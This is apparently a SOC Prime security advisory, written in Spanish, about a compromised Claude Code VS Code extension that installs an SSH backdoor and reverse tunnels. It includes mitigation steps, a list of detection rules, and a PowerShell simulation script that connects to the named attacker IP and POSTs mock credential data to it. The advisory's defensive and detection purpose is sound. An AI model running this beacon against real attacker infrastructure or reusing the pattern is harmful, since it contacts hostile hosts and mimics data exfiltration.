SOC Prime Bias: Critical

03 Nov 2026 14:10 UTC

Compromiso de Extensión de Código de Claude: Aviso de Seguridad

Author Photo
SOC Prime Team linkedin icon Seguir
Compromiso de Extensión de Código de Claude: Aviso de Seguridad
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Se identificó una versión comprometida del lanzamiento oficial de Claude Code para la extensión de VS Code, versión 2.1.313, en el Cursor Marketplace. El malware establece una puerta trasera SSH persistente en macOS, Linux y Windows modificando authorized_keys y creando túneles inversos de SSH. También realiza un reconocimiento del host para descubrir variables de entorno sensibles y credenciales potencialmente expuestas.

Investigación

Phorion identificó un IIFE inyectado dentro del paquete de extensión minimizado que se ejecuta inmediatamente cuando la extensión se carga. La investigación mostró que el malware intenta habilitar servicios SSH y utiliza claves Ed25519 específicas para la autenticación de la víctima y el establecimiento de túneles inversos. Los investigadores también identificaron fallos de implementación en la lógica de macOS y Windows que pueden limitar su capacidad para habilitar servicios sin privilegios existentes.

Mitigación

Las organizaciones deben identificar y eliminar inmediatamente Claude Code para VS Code extensión versión 2.1.313. En macOS, los usuarios deben descargar y eliminar el com.apple.sysmond.plist LaunchAgent. Los equipos de seguridad también deben inspeccionar las configuraciones de SSH y eliminar la clave pública svc-telemetry de los authorized_keys archivos afectados.

Respuesta

Cuando se detecta el compromiso, termine los procesos de túnel activo, incluidos los bucles de reintento de shell desanclados y ssh or procesos autossh que se conectan a 134.209.82.225 134.209.82.225. Elimine artefactos de persistencia, incluidas entradas de cron, tareas programadas y scripts ocultos almacenados en .config directorios. De manera crítica, rote todas las credenciales y los tokens de API que se expusieron a través de variables de entorno en el host afectado.

Flujo de Ataque

Todavía estamos actualizando esta parte.

Detecciones

Posible intento de comunicación de dominio de búsqueda de IP (vía dns)

Equipo de SOC Prime
02 Nov 2026

Binario/Scripts sospechosos en ubicación de inicio automático (vía file_event)

Equipo de SOC Prime
30 Oct 2026

Posibles comunicaciones C2 sobre HTTP a IP directa con puerto poco común (vía proxy)

Equipo de SOC Prime
30 Oct 2026

Se creó un archivo oculto en host Linux (vía file_event)

Equipo de SOC Prime
30 Oct 2026

IOCs (HashSha256) para detectar: Compromiso de la Extensión Oficial de Claude Code: Aviso de Seguridad

Reglas de IA de SOC Prime
30 Oct 2026

IOCs (SourceIP) para detectar: Compromiso de la Extensión Oficial de Claude Code: Aviso de Seguridad

Reglas de IA de SOC Prime
30 Oct 2026

IOCs (DestinationIP) para detectar: Compromiso de la Extensión Oficial de Claude Code: Aviso de Seguridad

Reglas de IA de SOC Prime
30 Oct 2026

Actividad SSH sospechosa detectada hacia dirección IP maliciosa conocida [Conexión de Red de Windows]

Reglas de IA de SOC Prime
30 Oct 2026

Detección de puerta trasera en la extensión Claude Code VS Code en macOS [Evento de Archivo de Linux]

Reglas de IA de SOC Prime
30 Oct 2026

Ejecución de Simulación

  • Narrativa del Ataque & Comandos: El adversario, habiendo logrado acceso inicial, apunta a establecer un túnel C2 persistente. Inician una conexión SSH a 134.209.82.225 en el puerto 22 para crear un túnel seguro para el movimiento lateral. Inmediatamente después, el agente malicioso ejecuta una solicitud HTTP POST a http://134.209.82.225:8099 contiendo información del sistema codificada. Esta secuencia específica de «SSH + HTTP POST al mismo IP» está diseñada para activar la condición de la regla: selección_ssh y selección_http.

  • Script de prueba de regresión:

    # Script de Simulación: Actividad sospechosa de SSH y HTTP POST
    $TargetIP = "134.209.82.225"
    $SSHPort = 22
    $HTTPPort = 8099
    
    Write-Host "[+] Iniciando simulación..." -ForegroundColor Cyan
    
    # Paso 1: Simular conexión SSH (usando Test-NetConnection para generar Sysmon ID 3)
    Write-Host "[+] Paso 1: Simulando conexión SSH de salida a $TargetIP en el puerto $SSHPort"
    Test-NetConnection -ComputerName $TargetIP -Port $SSHPort -ErrorAction SilentlyContinue
    
    # Paso 2: Simular solicitud HTTP POST (usando Invoke-WebRequest)
    Write-Host "[+] Paso 2: Simulando baliza HTTP POST a $TargetIP en el puerto $HTTPPort"
    try {
        # Usamos un tiempo de espera corto para prevenir que el script se cuelgue si la IP no está disponible
        $payload = @{ data = "simulated_credential_harvesting_data" }
        Invoke-WebRequest -Uri "http://$($TargetIP):$($HTTPPort)" -Method POST -Body ($payload | ConvertTo-Json) -TimeoutSec 5
    } catch {
        Write-Host "[!] Solicitud HTTP fallida (esperado si la IP no está en línea), pero se debe haber generado telemetría." -ForegroundColor Yellow
    }
    
    Write-Host "[+] Comandos de simulación ejecutados." -ForegroundColor Green
  • Comandos de Limpieza:

    # No se hicieron cambios persistentes en el sistema durante esta simulación.
    # No se crearon archivos, y no se instalaron servicios realmente.
    Write-Host "[+] Limpieza completa. No hay artefactos que eliminar." -ForegroundColor Green